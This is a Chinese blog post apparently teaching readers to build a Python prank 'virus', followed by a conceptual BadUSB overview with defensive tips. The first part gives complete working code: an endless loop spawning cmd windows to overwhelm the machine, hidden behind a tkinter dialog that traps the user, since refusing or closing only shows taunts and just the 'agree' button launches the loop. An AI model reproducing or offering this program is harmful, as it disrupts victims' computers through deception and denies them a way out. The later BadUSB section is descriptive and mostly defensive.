Python自制病毒

#前两天在刷抖音的时候看到一个打开cmd黑窗口的代码,就兴起了写一个类似无限窗口的代码的思路,现实现如下:#

新建黑窗口的代码:

import os
os.system("start cmd")#使用OS库新建一个cmd黑窗口

那么我们只要把他放进一个无限循环,就可以起到病毒的效果:

import os
while(True):
    os.system("start cmd")#让cmd黑窗口一直冒下去,起到病毒的效果

再封装进函数:

import os
def die:#把咱们的自制病毒放进函数里方便使用
    while(True):
        os.system("start cmd")#让cmd黑窗口一直冒下去,起到病毒的效果

但是这也太明显了,长了点眼睛都不会运行,起不到病毒的作用

那么,用tkinter加一个图形化界面,如下:

import tkinter as tk
import tkinter.messagebox
import random
from math import sin, cos, pi, log
from tkinter.constants import *
width = 888
height = 500
heartx = width / 2
hearty = height / 2
side = 11
if __name__ == '__main__':
    root = tk.Tk()
    root.title('¬‿¬')
    root.resizable(0, 0)
    root.wm_attributes("-toolwindow", 1)
    screenwidth = root.winfo_screenwidth()
    screenheight = root.winfo_screenheight()
    widths = 300
    heights = 100
    x = (screenwidth - widths) / 2
    y = (screenheight - heights) / 2 - 66
    root.geometry('%dx%d+%d+%d' % (widths, heights, x, y))  # 设置在屏幕中居中显示
    tk.Label(root, text='小可爱,让你电脑报废好吗', width=37, font=('宋体', 12)).place(x=0, y=10)
    def OK():  # 同意按钮
        root.destroy()
        die()  # 同意后运行咱们的死亡函数(这里还没加)
    def NO():  # 拒绝按钮,拒绝不会退出,必须同意才可以退出
        tk.messagebox.showwarning('¬‿¬', '再给你一次机会!')
    def closeWindow():
        tk.messagebox.showwarning('¬‿¬', '逃避是没有用的哦')
    tk.Button(root, text='好哦', width=5, height=1, command=OK).place(x=80, y=50)
    tk.Button(root, text='不要', width=5, height=1, command=NO).place(x=160, y=50)
    root.protocol('WM_DELETE_WINDOW', closeWindow)  # 绑定退出事件
    root.mainloop()

最终版本:


import tkinter as tk
import tkinter.messagebox
import random
import os
from math import sin, cos, pi, log
from tkinter.constants import *
width = 888
height = 500
heartx = width / 2
hearty = height / 2
side = 11
def die():
    while(True):
        os.system("start cmd")
if __name__ == '__main__':
    root = tk.Tk()
    root.title('¬‿¬')
    root.resizable(0, 0)
    root.wm_attributes("-toolwindow", 1)
    screenwidth = root.winfo_screenwidth()
    screenheight = root.winfo_screenheight()
    widths = 300
    heights = 100
    x = (screenwidth - widths) / 2
    y = (screenheight - heights) / 2 - 66
    root.geometry('%dx%d+%d+%d' % (widths, heights, x, y))  # 设置在屏幕中居中显示
    tk.Label(root, text='小可爱,让你电脑报废好吗', width=37, font=('宋体', 12)).place(x=0, y=10)
    def OK():  # 同意按钮
        root.destroy()
        die()  # 同意后运行咱们的死亡函数
    def NO():  # 拒绝按钮,拒绝不会退出,必须同意才可以退出
        tk.messagebox.showwarning('¬‿¬', '再给你一次机会!')
    def closeWindow():
        tk.messagebox.showwarning('¬‿¬', '逃避是没有用的哦')
    tk.Button(root, text='好哦', width=5, height=1, command=OK).place(x=80, y=50)
    tk.Button(root, text='不要', width=5, height=1, command=NO).place(x=160, y=50)
    root.protocol('WM_DELETE_WINDOW', closeWindow)  # 绑定退出事件
    root.mainloop()

### 制作USB病毒的风险与方法概述 创建USB病毒是一种非法行为,不仅违反道德规范,还可能触犯法律。任何未经授权的计算机操作都可能导致严重的刑事责任。然而,为了提高安全意识并了解潜在威胁的工作机制,以下是关于BadUSB及其工作原理的相关信息。 #### BadUSB 的基本概念 BadUSB 是一种基于 USB 设备的安全漏洞利用技术。其核心在于重新编程 USB 控制器芯片的功能,使其伪装成键盘、网络适配器或其他设备,从而执行恶意命令或劫持系统功能[^1]。 #### 实现方式 可以通过以下两种主要途径实现 BadUSB 功能: 1. **硬件改装** 使用支持固件刷写的 USB 主控芯片(如 Teensy 或 Pro Micro),这些开发板允许用户自定义逻辑并通过模拟输入设备发起攻击[^2]。 2. **软件重写** 修改现有 USB 驱动程序的行为模式,注入脚本以自动运行特定指令集。此过程通常涉及逆向工程以及高级编码技巧。 #### 攻击流程解析 当目标机器连接受感染的 USB 装置后,该装置会迅速启动预设动作序列,比如打开指定网址链接、下载额外的有效载荷或者更改注册表设置等。由于整个交互发生在操作系统层面之前,因此传统防毒工具难以察觉此类活动的发生。 #### 安全防护建议 针对上述提到的技术滥用现象,采取如下防御策略显得尤为重要: - 经常升级所使用的软硬件产品版本; - 对可疑外接存储介质保持警惕态度绝不随意接入未知来源物品; - 借助专业技术手段定期审查内部网络安全状况及时发现异常情况加以处理;最后记得备份重要资料以防万一遭遇数据丢失事件[^3]。 ```python # 示例 Python 脚本用于演示自动化任务 (合法用途下) import os def auto_type(text): """Simulates typing the given text.""" command = f'xdotool type "{text}"' os.system(command) if __name__ == "__main__": message = "This is an example of automated input simulation." auto_type(message) ``` 请注意,以上代码仅为说明目的展示如何模仿按键输入,并不构成实际意义上的恶意程序片段。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值